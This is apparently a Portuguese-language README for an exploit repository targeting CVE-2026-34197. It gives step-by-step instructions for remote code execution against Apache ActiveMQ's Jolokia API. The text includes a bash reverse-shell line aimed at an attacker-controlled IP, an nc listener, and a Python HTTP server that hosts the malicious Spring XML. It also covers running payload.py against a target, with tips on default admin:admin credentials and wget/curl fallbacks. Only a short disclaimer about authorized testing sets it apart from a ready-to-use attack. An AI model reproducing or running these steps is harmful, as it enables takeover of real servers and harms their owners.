
Script de exploração para CVE-2026-34197, visando a API Jolokia do Apache ActiveMQ para obter execução remota de código por meio de configuração Spring XML maliciosa, com capacidade de shell reverso.
Este repositório fornece um ambiente de reprodução e um script de exploração para a execução remota de código (RCE) baseada na interface da API Jolokia exposta pelo Apache ActiveMQ (/api/jolokia/).
Ao chamar a operação addNetworkConnector, o ActiveMQ é forçado a analisar um arquivo de configuração Spring XML remoto criado de forma maliciosa, explorando assim o MethodInvokingFactoryBean para executar comandos do sistema.
payload.py: Script principal de exploração, que envia requisições HTTP POST com um nome de Broker dinâmico.payload.xml: Arquivo de configuração Spring Bean malicioso, contendo o payload de comando para reverse shell.pip install requests
apache/activemq-classic:6.1.0).payload.xml)Na máquina do atacante, abra o payload.xml e localize a seguinte seção:
<value>bash -c 'bash -i >& /dev/tcp/SEU_IP_DO_SERVIDOR_NA_NUVEM/15000 0>&1'</value>
Substitua o IP pelo IP público do seu servidor na nuvem. Se o ambiente alvo não tiver bash, altere para sh ou outro método de execução, conforme o ambiente alvo.
Na máquina do atacante (servidor na nuvem), abra um terminal e escute na porta especificada (ex.: 15000):
nc -lvvp 15000
Nota: Certifique-se de que o security group/firewall do servidor na nuvem liberou o tráfego de entrada na porta TCP 15000.
Na máquina do atacante (no mesmo diretório do payload.xml), inicie um servidor HTTP para que o alvo possa baixar o arquivo XML:
python3 -m http.server 9000
Nota: Da mesma forma, certifique-se de que o security group/firewall do servidor na nuvem liberou o tráfego de entrada na porta TCP 9000.
Execute o payload.py na máquina local (ou na máquina do atacante).
O script suporta a passagem do IP:porta do ActiveMQ alvo (-t) e do IP:porta da máquina do atacante que hospeda o XML (-a) por meio de argumentos de linha de comando.
python payload.py -t 192.168.0.1:8161 -a 8.8.8.8:9000
Após a execução, o script gerará automaticamente um brokerName aleatório (ex.: rce_a1b2c3), resolvendo completamente o erro de conflito de nomes java.io.IOException : Network Connector could not be registered in JMX.
Se a exploração for bem-sucedida:
python3 -m http.server 9000) exibirá um registro de requisição GET 200 para /payload.xml.nc receberá a conexão do reverse shell vinda da máquina alvo./bin/bash (comum em imagens base minimalistas como Alpine). Altere o comando de execução no payload.xml para /bin/sh, ou use wget/curl para transferir o script e depois executá-lo.admin:admin).Este script e as instruções são destinados exclusivamente a testes de segurança autorizados e fins educacionais. É estritamente proibido o uso para testes ilegais não autorizados. O usuário é responsável pelas suas próprias ações.